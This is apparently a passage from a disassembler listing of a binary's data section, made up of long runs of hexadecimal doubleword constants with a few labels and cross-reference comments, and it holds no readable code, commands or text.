0C0E3E48Bh, 5260B927h dd 0ECECE8CAh, 100E25CEh, 7580404Ch, 83BF9054h, 0EFD18793h dd 0ECD3BB53h, 0FC608A03h, 15661138h, 0CE62A696h, 493ECC00h dd 9893686Dh, 0BD5CD2B7h, 0CFE7E834h, 0D1E3583h, 75B6DD53h dd 1565973Dh, 0E2E68832h, 39AFC4C3h, 1E3AB53h, 7560BEB3h dd 156C0E3Dh, 108F4432h, 17662232h, 0ECB70F90h, 0D3077B80h dd 0BD7391B7h, 7D936134h, 871C18C4h, 0A269E8CEh, 0A09925EDh dd 13CE13CBh, 0D6E39CCBh, 0ED602008h, 9E6994CDh, 1566223Ah dd 15649A3Dh, 74068832h, 947EC1BBh, 9969249Dh, 15661120h dd 156685DBh, 2A2A0A32h, 46A7F384h, 627CD887h, 1E8F223Ch dd 26664432h, 0CDB41345h, 7644DFEBh, 90A0C604h, 13CE51E7h dd 1DE22D71h, 75661132h, 0D3593054h, 7D071A62h, 0E947B512h dd 156605DBh, 27BFAC32h, 2A769BCh, 782C8390h, 0E884DB2Ch dd 0DBD7A0ACh, 0ECD3BBF8h, 0E0608A03h, 2FA594BFh, 94068E9Ah dd 0D60A07F2h, 5BBCA324h, 7404B2BCh, 9C9358CDh, 0BAE758B7h dd 0A8E5DE34h, 13CE116Bh, 17E38732h, 1A664433h, 15663ABEh dd 1575F832h, 551B8832h, 5D2268F3h, 301900A0h, 5CA1B347h dd 1F3C4519h, 0C0E38262h, 56608A27h, 156602DBh, 672F4432h dd 31F74E17h, 47AEA979h, 0A984D269h, 1D728F96h, 15CE475Ah dd 916942B9h, 15661120h dd 156685DBh, 0E3A18D32h, 0F530FB62h, 2A1715Ch, 749EFD6Ah dd 249FF1CDh, 0E906249Ah, 15661ADBh, 0A7F9ED32h, 0AC89DD00h dd 7B2DBB24h, 0D6E39C53h, 1A602008h, 156645B6h, 0C599D732h dd 31E398CBh, 0E96027B3h, 0B3C1F4h, 0ED25249Ah, 4E50C45Ah dd 157661D7h, 94604432h, 815743A0h, 4B00B4EEh, 0E44E5616h dd 0A0994CE5h, 13CE13CBh, 0D6E39CC7h, 75602008h, 4A9ECF64h dd 7507C283h, 1A7CD6B2h, 15668EB7h, 15E44B32h, 74662232h dd 9406C1CDh, 6E1BD8D2h, 90EF2504h, 13C9A312h, 0FC51A352h dd 15668826h, 0E1123928h, 8E624C4Eh, 64D16A18h, 0AFDE51C8h dd 6EDA23C0h, 0C0E3E453h, 5660B927h, 156686DBh, 718DC32h dd 1C492DABh, 0A32E5958h, 7DE2F0D6h, 0FFCC76D3h, 15662DDBh dd 0F3B62532h, 0CF4FA833h, 0A21BAB2Fh, 7F6C9681h, 249FA4CDh dd 18F8E9Ah, 19664432h, 0C5906525h, 78B2A63Ah, 84E141CAh dd 929ADE4Dh, 9864DC98h, 0BD5CD2B7h, 1B8F7034h, 0B2664432h dd 51C53337h, 0CDDBB6E3h, 8F5F1218h, 75B6BBC4h, 156BA73Dh dd 128E1132h, 58668832h, 0F7FCC9C8h, 1A3D4F1Fh, 9C07D185h dd 0BAE7A0B7h, 1560AD34h, 4FD2232h, 944F78CBh, 0B30DF4h dd 0EC25429Ah, 0E4CA155Ah, 1BE81EB6h, 75668832h, 1566C63Dh dd 0FAE72232h, 5E220B2Ch, 15696153h, 26D24432h, 75A5837Fh dd 0A048A6F0h, 9C9C49F4h, 0ECD3BBABh, 75608A03h, 156614DBh dd 0CEBE7C32h, 4E344794h, 0D6E3AF53h, 1A60B908h, 156698BBh dd 156DAD32h, 0AB7D2232h, 1D360E98h, 81978F05h, 0FCB6BB2Eh dd 15662235h, 801CDB34h, 75A9C68Fh, 156649DBh, 0DF5C1C32h dd 0F510E454h, 91C79C7Ch, 9E69F6F4h, 15662237h, 2C2F768Dh dd 90EFE974h, 13C9C51Eh, 15662FDBh, 0C1E46D32h, 9014613Ch dd 18C9D89Dh, 90A0A67Eh, 13CE04E7h, 0AA00E87Dh, 7D0749B9h dd 8253B2E6h, 0D4D11E52h, 741B7AB2h, 249FF1CDh, 989F249Ah dd 0BD5CD2B7h, 15606134h, 21624432h, 0ECECD628h, 0FCB6EECAh dd 15668835h, 0AD5AB303h, 1A8934B5h, 156601B9h, 156D6132h dd 8D854432h, 71BD447Ah, 0AF60F36Fh, 25E30102h, 1A60EBB3h dd 15662EBCh, 13E81E32h, 1A668832h, 156644BFh, 0C0E3E432h dd 5A60B927h, 0D2EDEE52h, 74ADFB3Dh, 7B68205Ah, 1577F8CBh dd 0DDAC8832h, 9B71D949h, 178F9C4Ah, 8DD218C3h, 0EA1EF8B1h dd 0BD57BD87h, 0ACDD4234h, 0FC4B9A79h, 15668835h, 7AEC1E7Fh dd 74163C01h, 2FA594BFh, 99698E9Ah, 1566443Eh, 1560A73Dh dd 94691132h, 15668832h, 75B6BBCBh, 0DED12D64h, 90EF706Bh dd 13C90906h, 156656DBh, 1C95D132h, 1F889D44h, 50CAA75Eh dd 37865E2h, 0D3D8A492h, 0BD73C4B7h, 1E8FC534h, 7C664432h dd 989D701Ah, 44BFB4A3h, 5C0E8982h, 0FCAE734Bh, 1566223Bh dd 6B3CC8CEh, 0F346D04Eh, 0ECD3BBA3h, 0FC608A03h, 1566113Dh dd 0F22CEB64h, 69BA79C7h, 96251304h, 98B0AC5Fh, 0BD5C4BB7h dd 1577AD34h, 0D30E2232h, 576D156Ch, 0F7F83F80h, 0F93E7C7Bh dd 0EAF38315h, 0FC06EDE2h, 15668820h, 42F2063Fh, 29640015h dd 90B27EA7h, 346F4C63h, 9536A527h, 7438E1D8h, 945A94BBh dd 94068E9Dh, 81AE56D0h, 0AA697458h, 0D30748E3h, 0BD735DB7h dd 7D9F0934h, 0C9916FBBh, 0FFE77752h, 75071871h, 1565CD3Dh dd 0AA692232h, 0A09970CBh, 13CEB9CBh, 0D6E3C9C7h, 75608A08h dd 0E340D6B3h, 9AD7B982h, 75B6BB53h, 0AE6BE9B2h, 6F55C314h dd 15686153h, 0C6494432h, 0ABEA042Ah, 419148A7h, 1E3567E1h dd 945EC1BBh, 0D39F249Dh, 0BD73C4B7h, 9506DD34h, 9C691AFEh dd 15662232h, 38517953h, 9F691429h, 15664420h, 0FD074252h dd 1566113Ah, 38F5829Dh, 176FB3C6h, 0A099436Ah, 13CE20CBh dd 0D6E305CEh, 7560EC08h, 1571A73Dh, 78F1132h, 0EC668832h dd 11AE59AFh, 35C5AFFFh, 0A80FE449h, 1DE615C8h, 1560AC75h dd 47E82232h, 2EC4323h, 95E8BC8Dh, 0EA071C04h, 1EEC2DE2h dd 75661132h, 15660A3Dh, 0FBE64432h, 976943E7h, 15661133h dd 55E301CAh, 1A60EBB3h, 15662AB2h, 17EA1E32h, 75668832h dd 90A0BC53h, 13CE37E7h, 3F0EE971h, 0ECB45DC2h, 249FF1CDh dd 1A06249Ah, 156614B5h, 79CA3732h, 0B9D919FCh, 7456197Ah dd 2FA594BFh, 97698E9Ah, 1566443Ah, 1564AE3Dh, 74061132h dd 48F58CDh, 7D664432h, 1E627CF4h, 8BD1A370h, 4D5EC1D0h dd 80C763DEh, 9422A7BBh, 9069179Dh, 15668824h, 156655DBh dd 2ECC5032h, 0AE7C941Dh, 179465Eh, 18355DB2h, 90A04A9Ah dd 13CE04E7h, 0FF0E7160h, 0FC9B0686h, 15662221h, 3CC94933h dd 0C9A407EDh, 1A4E5829h, 42E52F76h, 0EDA8DE3Eh, 249F3DCDh dd 9406429Ah, 1D00CEC5h, 10EF1E57h, 73668832h, 34DF96B3h dd 0D6E3AF53h, 0FC60B908h, 15668820h, 41F188EEh, 0BA9E0181h dd 76BD527Bh, 9ADAF3CBh, 0C5994D6Bh, 84E3ABCBh, 0FC60B906h dd 15668838h, 579FEC36h, 0D74CF27Ah, 90A0749Bh, 13CE9DE7h dd 9569BC75h, 15662221h, 156B9D3Dh, 1D8F8832h, 4664432h dd 1F91FD93h, 7DE7C7F9h, 0F7FED1ABh, 156ECE3Dh, 95062232h dd 9E00EBF4h, 0A099E9FDh, 13CE75CBh, 156636DBh, 94668432h dd 0AA2B31F6h, 3F1428ADh, 93966D5Eh, 179028BCh, 0D6E305FAh dd 1A60EC08h, 15662EBDh, 13E01E32h, 1A668832h, 156644B2h dd 0C599D732h, 156619DBh, 0B9B1BD32h, 0D23F81FFh, 18EC2D74h dd 0FC661132h, 1566883Ah, 0FA9805C7h, 7BE0F226h, 942E94BBh dd 73068E9Dh, 9E0086B9h, 198F43C3h, 16661132h, 36BD8B82h dd 0F47A2652h, 0D38DE257h, 0BD73C4B7h, 7D9ECF34h, 0A49B24F0h dd 1575CB52h, 2D4F1132h, 6BD1B8Ah, 0C9BAD9ECh, 4A6063DFh dd 2C721786h, 9369E8FEh, 15664432h, 156625DBh, 0F20A1332h dd 73B75D45h, 0A0992553h, 13CE13CBh, 15679E3Dh, 0ED938832h dd 2FA5C1BFh, 0ED9A249Ah, 9C93C1CDh, 0BAE7C4B7h, 1CEB4B34h dd 75662232h, 19D84B60h, 74534D3Fh, 0B3C1F4h, 0ED21249Ah dd 0B398055Ah, 7E187EDh, 0FC664432h, 1566223Fh, 0DE7CE480h dd 9AF487F4h, 7C26D1EDh, 0ECD3DDE0h, 0E060B903h db 0BFh byte_5C3A41 db 0Dh, 0A5h ; DATA XREF: ___:off_438438o byte_5C3A43 db 2Fh ; DATA XREF: ___:off_43A570o dword_5C3A44 dd 0EA93429Ah, 1561CBE2h, 85A21132h, 0C925343Dh, 45E3CDB8h ; DATA XREF: ___:off_43A568o dd 0FC608DB3h, 15661122h dd 0F81A417Dh, 0EF8900D3h, 0BFB3F485h, 3235356h, 0B30DF4h dd 1A39429Ah, 156625B7h, 14EE1E32h, 0ED668832h, 0E70E2CCBh dd 0EC06BC62h, 156614DBh, 0FD344732h, 1A07CA2Dh, 156637B0h dd 1576F832h, 0E21A8832h, 7ACD4193h, 158840B8h, 36942F12h dd 0A099F5DBh, 13CE75CBh, 0D6E3AFCBh, 7560B908h, 0D92D52B3h dd 0CDED4A7Dh, 1569CB53h, 8C8A1132h, 0C0CE7863h, 22C4813Eh dd 0EA5FDBF3h, 1AB6EE71h, 15668FB2h, 14EB4B32h, 0ED662232h dd 943294BBh, 0D3938E9Dh, 0BD7391B7h, 68F6D34h, 30661132h dd 0FC343EFCh, 69DA9EBCh, 7BF02424h, 0AFF7394Ch, 2A0EC153h dd 75A1B849h, 1560AC3Dh, 97691132h, 15668832h, 6DF1FC65h dd 7439025Dh, 249FA4CDh, 46068E9Ah, 0FC391385h, 1566223Eh dd 72AE377Eh, 741C76E0h, 0D399D2BBh, 0D6E3AF53h, 0FC60B908h dd 15668839h, 7E9A9A22h, 152D092Dh, 1A37B395h, 156689B2h dd 0C599B132h, 157FAA3Dh, 98691132h, 15668821h, 15664ADBh dd 442D1832h, 0ECABA9E0h, 1A57C28Fh, 9C95BC65h, 0BAE7A2B7h dd 90A0ED34h, 13CE9DE7h, 156FAD75h, 0CC52232h, 0D979E7DEh dd 7DC0827Ah, 0EF3D2A7Eh, 1574AA3Dh, 188F1132h, 6A668832h dd 0E68B62D9h, 0C42D98F1h, 0F9FAEF2Eh, 0DDBA0852h, 74A6F33Dh dd 249F97CDh, 78F179Ah, 8F668832h, 432443C0h, 5373D6E9h dd 4E517D40h, 51DE04h, 0D6E3C995h, 0FC608A08h, 15661135h dd 0E2E137B7h, 0EA9B2270h, 17EA2DE2h, 75661132h, 91E30153h dd 0E060EBB3h, 0B3A7F4h, 0ED21179Ah, 1342455Ah, 0A099B1F1h dd 13CE13CBh, 0D6E39CCBh, 1A602008h, 15665ABDh, 48F4232h dd 52661132h, 8FAFBD87h, 3CDE7A14h, 54235DB0h, 0DF4A4E1Ch dd 7F0962B3h, 0EA073205h, 0EF2DE2h, 0FC661132h, 15668822h dd 39D56BEBh, 9A87440Ch, 77E76786h, 0BD0166C1h, 94EEC1BBh dd 0FC06249Dh, 15661137h, 6DAC44F3h, 7463F088h, 0B3A7F4h dd 0FC39179Ah, 1566883Bh, 38A55816h, 0D1500BD6h, 75AA7946h dd 48F5C89h, 9F664432h, 0C8449A83h, 0E13704A3h, 0D2F0AE9h dd 9F2437FEh, 0ECD3DDCEh, 0FC60B903h, 15668839h, 0A4F6E2E4h dd 7C2C27F4h, 98C50D36h, 0BD5C4BB7h, 2EC4B34h, 75662232h dd 1566943Dh, 1F8F8832h, 78664432h, 0B8A635CDh, 0BC493E37h dd 0C599E95Ah, 1567C63Dh, 9C932232h, 0BAE749B7h, 90A07134h dd 13CE51E7h, 1BE32D6Dh, 75661132h, 1566093Dh, 0E6E74432h dd 35D020B7h, 5B0EED53h, 1AF86166h, 15664BB5h, 156CCB32h dd 0D4661132h, 0C078F6DEh, 432F9C10h, 0ECD3DDCEh, 0FC60B903h dd 15668822h, 0B1A2A2DFh, 0A8ECA23Dh, 0F07EB92Fh, 55882A00h dd 2FA5C1BFh, 9169249Ah, 15661133h, 75B677CEh, 0C0E69DB9h dd 90EF434Eh, 13C9906Eh, 156680DBh, 0F163A432h, 2111E2B3h dd 0C0E3D79Dh, 4A602027h, 1561C03Dh, 94692232h, 15661133h dd 3D2EE0CEh, 94699521h, 15662234h, 0C3B49152h, 0A099E9C7h dd 13CE75CBh, 0D6E3AFCAh, 0ED60B908h, 1B8F58CDh, 89664432h dd 0BEF7B953h, 0ED33EE89h, 0BD87E1D3h, 75E3CDDEh, 0ED608DB3h dd 15661BDBh, 76EFDC32h, 0BB302B95h, 7F3AC367h, 1569F836h dd 0D7258832h, 702FFD3Ah, 455E33CAh, 0B45ADF39h, 566E02Eh dd 0FD064432h, 15662239h, 0F6B3284Dh, 61F0D473h, 94F9C365h dd 0C0BFD5FAh, 1A064F3Bh, 156688B2h, 7498CF32h, 5664A53h dd 0FC061132h, 1566883Dh, 746298D7h, 0BFF235C1h, 0DE875BBFh dd 739DB755h, 74B4E489h, 1A062258h, 0AA69E18Dh, 8099E9E8h dd 13CE648Fh, 0A0DE42CAh, 745E1C9Eh, 18530DBBh, 0A706429Ah dd 10E82DE5h, 73661132h, 21377EB3h, 22E3C953h, 0FC608D7Ah dd 15661138h, 6AEDF85Eh, 0D62911E6h, 0C599B444h, 1575943Dh dd 92698832h, 1566443Fh, 15662ADBh, 7A008532h, 95B3DEDh dd 75622E98h, 0FA759954h, 0FC3E4152h, 1566883Dh, 2F63B290h dd 5007FC7Dh, 255DF441h, 741B15ABh, 5662C53h, 9A692232h dd 15661135h, 15670A3Dh, 7D9F4432h, 15660232h, 15769B3Dh dd 1E8F8832h, 0FD664432h, 882529A1h, 47AFECDDh, 150C1CA0h dd 15664EDBh, 9A7CD332h, 0EEE317E5h, 0EADD815Ch, 0BD46F9A7h dd 8BDF4234h, 0FD3D5DC3h, 15668837h, 8C87CC93h, 1A077B8Eh dd 156604BEh, 15766132h, 1314432h, 3C7CC1AAh, 62BAEF6Eh dd 0C8830D02h, 90EF1578h, 13CE38A3h, 24E398CBh, 0FC60202Ch dd 15664438h, 3F6FCDDBh, 0AF303263h, 550CEAD2h, 156657DBh dd 78F4F732h, 1EECCFC4h, 5140A8AAh, 144B8A18h, 0F5CB5F6Fh dd 1576115Ah, 150E7D32h, 75664532h, 15E82D60h, 4D661132h dd 74B10354h, 0EA9A4458h, 0BD469FA7h, 90EFE934h, 13CEBADFh dd 7CD3CFC7h, 0ED608A29h, 0A238CB9h, 9E698E9Ah, 15664435h dd 1567AA3Dh, 9C931132h, 0BD7C3987h, 19EA4B34h, 0FC662232h dd 15661135h, 408EA0DDh, 9C86B589h, 0BD6A63AFh, 1577F834h dd 0CD228832h, 0BAE1E3B9h, 0BFDCE2BCh, 65E27A01h, 9ECD2E41h dd 0BD7901AFh, 96694234h, 15661137h, 7BAC0954h, 7467F29Ah dd 156625DBh, 96BE1D32h, 11D5902h, 19ED77CDh, 11A2A116h dd 159F92CBh, 2C6C0C3Dh, 108F4432h, 0D662232h, 0C44FC8FFh dd 1533CE5Ah, 3162CD32h, 156628DBh, 81CF4232h, 3FBDD4C6h dd 7D14EB09h, 15666E8Bh, 0E9421DBBh, 0D5577452h, 1570C23Dh dd 96692232h, 15661122h, 156683DBh, 0E5C55932h, 0D9CCAFB8h dd 0DC82DC57h, 15669ADBh, 0E424DC32h, 98528F7Bh, 8A1B5616h dd 5FF96528h, 9C2564A9h, 0BD685FB7h, 9C697134h, 15668832h dd 42076582h, 0FD5EF95Ah, 150E4E56h, 3C668832h, 0D439600Eh dd 0FAE725DDh, 14503E60h, 0EC3976BBh, 6B1CFC62h, 0D34F1B41h dd 3112126Ah, 6FA00912h, 0E95F374Ch, 156630DBh, 4C444D32h dd 0F425254h, 0C36D9CF6h, 4B5648F3h, 7352C8FCh, 156D619Fh dd 0E0164432h, 6509D3E2h, 76E97706h, 535FA5BFh, 5A6347D5h dd 1662317Eh, 38463576h, 1175C47Dh, 0F2207D37h, 1576CB31h dd 7FB41132h, 0A7629F91h, 6689B78Bh, 1602D345h, 0AC37035Dh dd 1566884Ah, 24ED8533h, 94422EB9h, 156615F6h, 9D697132h dd 1566443Ah, 1564A83Dh, 74061132h, 7E9A4EB3h, 0FBE769C3h dd 5790BEAh, 35426531h, 3CBE4EB3h, 0FBE7542Dh, 389749CEh dd 156601DBh, 360B0932h, 0E2DE4820h, 0AA776B5Fh, 0A5C1FF01h dd 0AC3774B5h, 1566442Ah, 2CEDD333h, 96421DB9h, 1D8F8CF6h dd 99664432h, 4CED3807h, 9CC307EFh, 0BD6DC98Fh, 1563AD34h dd 0E7DA2232h, 900710BBh, 33E387CDh, 75664432h, 156ACB52h dd 7BAE1132h, 16E7F18Ah, 5855F048h, 7406E193h, 0EEED7753h dd 4A146053h, 0FC9F4432h, 15662735h, 38E79CAh, 19EF8832h dd 94002416h, 95478DC5h, 420789F3h, 94429CB9h, 156640F6h dd 156DCB32h, 47B91132h, 4FAD1EAh, 42138C46h, 11B449ECh dd 60F398CBh, 1A60203Dh, 156648BFh, 13E12D32h, 1A661132h dd 156688B4h, 0FC622E32h, 15662223h, 4BF59C0Fh, 1278E8FDh dd 0ACA8BA8Ch, 82B8EF55h, 56679D4h, 128F8832h, 15664432h dd 45675406h, 9C36CB88h, 15628DD2h, 0FDE54432h, 3162A536h dd 3172986Eh, 1A66E2CBh, 156643BEh, 14E12D32h, 0EC661132h dd 1561043Dh, 9E694432h, 15662233h, 0A8F3EECAh, 0EC602012h dd 0BFBC1BBh, 9C69249Ah, 15661125h, 15669ADBh, 84DF4432h dd 54B3850Bh, 0FBB73C6Ch dd 59423C07h, 756208BFh, 156AAE3Dh, 128F1132h, 0D668832h dd 37F1BEFDh, 0AC007720h, 45079686h, 5142BCB3h, 4F4BB556h dd 71229A62h, 0D7573CC3h, 1577616Ah, 0B97D4432h, 0FBD9F4A3h dd 6561C189h, 6E53E72Eh, 0EA11CFBAh, 943F0606h, 156615F6h dd 0ED9FE832h, 14EE4B53h, 0EC662232h, 153856DAh, 7E48732h dd 0FC664432h, 1566223Fh, 19B8B1CCh, 68381936h, 0A5F6BB22h dd 118AA104h, 0EC4225BBh, 1572619Fh, 4DB54432h, 1A3436F3h dd 0CC14C45Ch, 0BD8FFCB2h, 5EB53416h, 109AED5Ah, 7B960141h dd 3142CC31h, 515FB65h, 0ED4F4CC2h, 1BEE1E6Dh, 75668832h dd 1566C13Dh, 90692232h, 15661132h, 249EB953h, 1A9E75F5h dd 156623B6h, 429FE932h, 29CB3765h, 69672336h, 4E392616h dd 29CBFAB3h, 9669EF36h, 15664433h, 16BA4AC7h, 29EF1132h dd 90697116h, 1566443Ah, 0BB6A352h, 740C777Fh, 0BB934802h dd 9369B947h, 15662224h, 156600DBh, 0E2CA2932h, 3DE554E3h dd 9EF7590Eh, 0AD9DC7Ch, 0FC06372Dh, 1566443Fh, 0C65C135Dh dd 7631F147h, 0E53AD327h, 15E84B7Fh, 74662232h, 0EAD11E52h dd 2199E9CBh, 0D1E51A16h, 0FAE7DE36h, 7C667EC0h, 90967B3h dd 0CA4F2077h, 909E5B3h, 0D2E77577h, 7C66E7C0h, 5D92252h dd 0D5D92D80h, 0F0EF4453h, 15624DB3h, 0F8E74432h, 15662236h dd 49423DB5h, 0E0429CBBh, 9C62A8B1h, 1A3C060Eh, 15661BB3h dd 0D3E7E832h, 4192D064h, 9E074352h, 0BD6B248Fh, 0EADF7434h dd 1A99BBCDh, 15662AB7h, 17E81E32h, 75668832h, 75A67553h dd 1A9D9D3Dh, 0E907D78Dh, 15DED863h, 9C664432h, 0E4677AF3h dd 1A3F10B8h, 15668EB4h, 74062432h, 25074352h, 1561F8FAh dd 9BB38832h, 310073Ch, 14DF73BAh, 14661132h, 0EA9AD1FCh dd 39E7C306h, 0E919C516h, 31629A0Ch, 10624CB1h, 2B9A3BD5h dd 0DCA7A252h, 2E91E53h, 0FC668832h, 15664420h, 4335AE63h dd 6F101E58h, 8070859Bh, 46505A73h, 0FCA7A912h, 108F713Ah dd 0D2668832h, 96D89615h, 156CCB62h, 20FD1132h, 0E64B3EDh dd 5D7F7338h, 249F436Bh, 1A2CEDF3h, 0EA99E8B7h, 156DADCDh dd 0DB762232h, 4664D209h, 14781A7Eh, 11E7151Ah, 323AD416h dd 0AF344964h, 7D5C91BAh, 0F7E70670h, 688E6409h, 0B672FBB3h dd 0C54F9A32h, 1574AD68h, 0AF6E2232h, 2BA5C610h, 3F6E8581h dd 0F3B87ED8h, 942D2845h, 317A9662h, 9E15BC5h, 9B691C16h dd 15662227h, 15699C3Dh, 1F8F8832h, 0A0664432h, 0E59FB459h dd 104CF4B2h, 315277D4h, 11A2C768h, 17E62D52h, 75661132h dd 13E48753h, 1A664432h, 156622B9h, 0AE357032h, 15668832h dd 7FEA87B3h, 0C6673225h, 7FEAFAB3h, 16EF9825h, 4531B869h dd 0B91F758Ah, 0C591592Fh, 386260F3h, 1B437C54h, 143EE5BBh dd 9E064EC8h, 0DFD987C8h, 0F7EF1653h, 1562E0B3h, 0FFE71132h dd 15668836h, 494250B5h, 0FC4236BBh, 15661139h, 878E6770h dd 0CD145EB0h, 0EA28434Bh, 0BD686CB7h, 80ED7134h, 13CE4A4Fh dd 156BCBC7h, 0ED991132h, 7998E4F9h, 0F74539F1h, 2C6F2B6Eh dd 0BD6D50A7h, 8DE28734h, 0E0664432h, 464236B9h, 0D6E7F2BBh dd 15668836h, 156287B3h, 9E12232h, 9E9A4D16h, 9C36AC06h dd 156241D2h, 0D5E52232h, 31629636h, 0AF00E86Eh, 9400364Ah dd 74D50DEAh, 156618DBh, 0ED1C6732h, 5FDDE8Eh, 0AC370FDFh dd 78A70406h, 99A70973h, 94571F20h, 0F6BE61F3h, 4CA81052h dd 14E88752h, 0ED664432h, 156627DAh, 1F5C6F32h, 1C8FB602h dd 57664432h, 0B98AC37h, 0B9750067h, 878FE96Ah, 1A99BBCEh dd 156630BFh, 156BF832h, 21B88832h, 0FC9A6056h, 0D3F4C6B2h dd 0EA368792h, 943CAC06h, 156640F6h, 9E374232h, 749E49C9h dd 4B42BCCDh, 756280B1h, 156628DAh, 0D227AD32h, 1581E70Ch dd 0A6DE7311h, 68F7819h, 0A9661132h, 9BAACD52h, 7B2ED495h dd 28F0A50Ah, 0E8ADB6CDh, 7407AA3Fh, 1567C03Dh, 0EA9F2232h dd 963F3506h, 1A9F8CF6h, 15664CB5h, 17EE2D32h, 75661132h dd 31620353h, 9480CD64h, 156626F4h, 11A09232h, 4942BCB5h dd 84E383CAh, 15608A1Ah, 0FC661132h, 15668839h, 0C5F831FBh dd 7BC64C12h, 0FC214D12h, 15668838h, 0DAB9538h, 7EB1B8E2h dd 90A1AFDAh, 13CEAFABh, 15664432h, 1567A23Dh, 96931132h dd 0BAE6408Fh, 91694434h, 15662214h, 0B9FB9CCEh, 756026ABh dd 76909889h, 11AAA261h, 94007153h, 74708BE9h, 9E0697CDh dd 976942F9h, 15661132h, 9099E953h, 13CE48F3h, 156DA53Dh dd 138F1132h, 94668832h, 12A6B5A9h, 0D4DBA1D2h, 7160B93Eh dd 179B0A3Dh, 0D29A4432h, 0BD6AE3B7h, 15661034h, 15746132h dd 69BA4432h, 96251304h, 66B0AC5Fh, 4AC5BA7Eh, 57EEA8B9h dd 0E62D52h, 0FC661132h, 15668822h, 86D25E46h, 6C0A7E65h dd 6151EE7Fh, 0E79892B4h, 45C2C1BFh, 1A06249Dh, 156614BDh dd 9D053032h, 9E000261h, 0C59943CBh, 156E963Dh, 75068832h dd 17D82253h, 1E8F43ADh, 6A661132h, 54855D0Bh, 4212D26Eh dd 0A0EBBDB5h, 13C990AAh, 156698DBh, 53890432h, 0B5C22546h dd 5ED37436h, 0FE9D78A8h, 19DBC940h, 0FC60923Eh, 15661123h dd 51E404D8h, 0CA992164h, 0C38F68B7h, 4FA73735h, 0D8DBDDA4h dd 14640F38h, 0E24F7FDDh, 1FABFEB3h, 78F8A79h, 90664432h dd 0D2349EC2h, 0EC71EF8Bh, 0AD257075h, 13FE8546h, 0AB307502h dd 5296813h, 1142FC03h, 0E7E71E6Ch, 5295B13h, 0A8EDE9CAh dd 13CE8507h, 95691252h, 15662232h, 6331A868h, 7507A007h dd 15E44B61h, 4D662232h, 7495D3B2h, 0EA99778Bh, 1574ADCDh dd 0D7972232h, 0BC62FECh, 0C57B7DF5h, 0FCBE065Bh, 0CB347F66h dd 9669D103h, 15668821h, 156BCD3Dh, 1D8F2232h, 0AA661132h dd 0FD595657h, 1AE07E30h, 15662EBEh, 13E51E32h, 1A668832h dd 156644B0h, 15DF7332h, 94661132h, 5A6AFDF3h, 94974501h dd 5A6A57DBh, 4C679B01h, 0F1A20852h, 915D9DB3h, 25071CDCh dd 156DF8FAh, 7DDA8832h, 0A57DC434h, 6E73A159h, 6DD429Ah dd 56621660h, 4773AFB3h, 0CB4F26ACh, 1E8F7169h, 0E6668832h dd 0B4A5B400h, 1D9477EBh, 0AA6966FBh, 2199E9F3h, 3162CFB5h dd 1562E6B3h, 73061132h, 0FCC13A8Ch, 1566443Eh, 8B38E260h dd 0DC168BF9h, 0C28184BDh, 1D8F8553h, 1561AE3Dh, 93691132h dd 15668833h, 1561ADC7h, 53E72232h, 70B70314h, 0E0A7B9C2h dd 24E34B78h, 7599DDCDh, 1563973Dh, 0EDD98832h, 0EC1EF458h dd 9C367553h, 4DA198FAh, 0EC3970BBh, 1572C93Dh, 1A8F2232h dd 88661132h, 34667D12h, 0C710D35Ch, 18B7E8A5h, 9236DFFCh dd 0C791AC26h, 4D4250B5h, 13E42D52h, 1A661132h, 156688BAh dd 0EBD94B32h, 905FD753h, 13CE3DCFh, 15F60C3Dh, 188F4432h dd 5C662232h, 20CEC164h, 0A757DF7Ch, 0A3CF4F6h, 8CDE7264h dd 9C18F464h, 8CDED0F4h, 2418A164h, 74067CC2h, 9069D139h dd 1566881Dh, 156CCC3Dh, 94062232h, 75347DC5h, 74A70370h dd 367C1F5h, 1567249Ah, 73061132h, 650D6AB3h, 15664DDBh dd 0BE697732h, 4288321Bh, 94074E63h, 156640DEh, 315AAB32h dd 810B08Dh, 0E389096Dh, 0D453DD7Dh, 0FAA721D5h, 0C4899030h dd 0D44C1212h, 0E2E74CDDh, 15BF15A4h, 7539E833h, 366F848Ch dd 75072548h, 1566A33Dh, 0FC361132h, 1566883Eh, 0F1267E5Eh dd 0F5F35D60h, 8B9E2D85h dd 469FE96Ch, 2D3DDE89h, 0C8EF771Eh, 4E3BF8BBh, 156682DBh dd 13E67F32h, 787E825Ah, 44C48D86h, 990B248Bh, 73AFC57Fh dd 9674D41Fh, 942710DBh, 388317DBh, 4CACCD15h, 1D8FD752h dd 3C661132h, 4DA94EB9h, 74F208CFh, 9269429Fh, 15661130h dd 0FC07D264h, 15664423h, 91EA3699h, 955D04F1h, 0DC6E034h dd 0B7FAF05Fh, 0A4D3AB1Ah, 0ED60B928h, 7506E067h, 0D43B707Dh dd 0D0E720D7h, 50F6E01Ch, 489AE6BBh, 0A9A22B3h, 945E8D35h dd 51BFED74h, 73E7A788h, 3E7A44CEh, 0E900E31Bh, 0E910903Ah dd 1D628832h, 0FB8879CBh, 9069CCDCh, 156611BCh, 0CE443652h dd 92690A7Fh, 15662230h, 9407EFB9h, 0C8BB550Ch, 66E34BEFh dd 75662232h, 156600DBh, 31841332h, 77666490h, 0F8A57E4Eh dd 97E5339Ch, 65D34953h, 750E1653h, 9E2F4837h, 0D1E53526h dd 0EEA40936h, 0D42A1037h, 0FFE724D8h, 1730E91Fh, 0E93C9EBBh dd 1562FF61h, 0FBE72232h, 15CE2157h, 0D3E75633h, 15CE7457h dd 0A0EFD769h, 13CE0B83h, 17E18752h, 75664432h, 74BFA953h dd 154A11DBh, 14E58732h, 0E0664432h, 0EA98E4DBh, 0F9E5EDCDh dd 31620136h, 0CD4240B3h, 4E7F5A02h, 25BEFAB3h, 1B8F914Ah dd 6D664432h, 44BB4061h, 7F3042BEh, 0BC1CFE3Dh, 14E3773Fh dd 0FC608A24h, 15661120h, 0C477CBEDh, 451E6458h, 654026F9h dd 7C07CBD7h, 0DDA7D653h, 0DC63B831h, 3C78A875h, 0DCDD42E2h dd 3C780275h, 1A061FEAh, 0F0ECDA85h, 5A6D053h, 75AEB9CEh dd 0AB9ECF54h, 70134B04h, 1577F853h, 76F98832h, 0E762936Fh dd 215B7F73h, 5826882Fh, 9C696452h, 0BD7045AFh, 9B69DE34h dd 15661127h, 156698DBh, 535E232h, 62FC52C7h, 9A6B89BCh dd 7F0882B2h, 15667905h, 96692233h, 15661302h, 2BE771CBh dd 0AEDDFF89h, 1744A73Dh, 91691132h, 15668833h, 0AAD913CAh dd 0D407A178h, 0AC3716DDh, 2492A517h, 5D8585B3h, 0F4E75DF1h dd 6E8C49BDh, 946E61F3h, 2F5F59C3h, 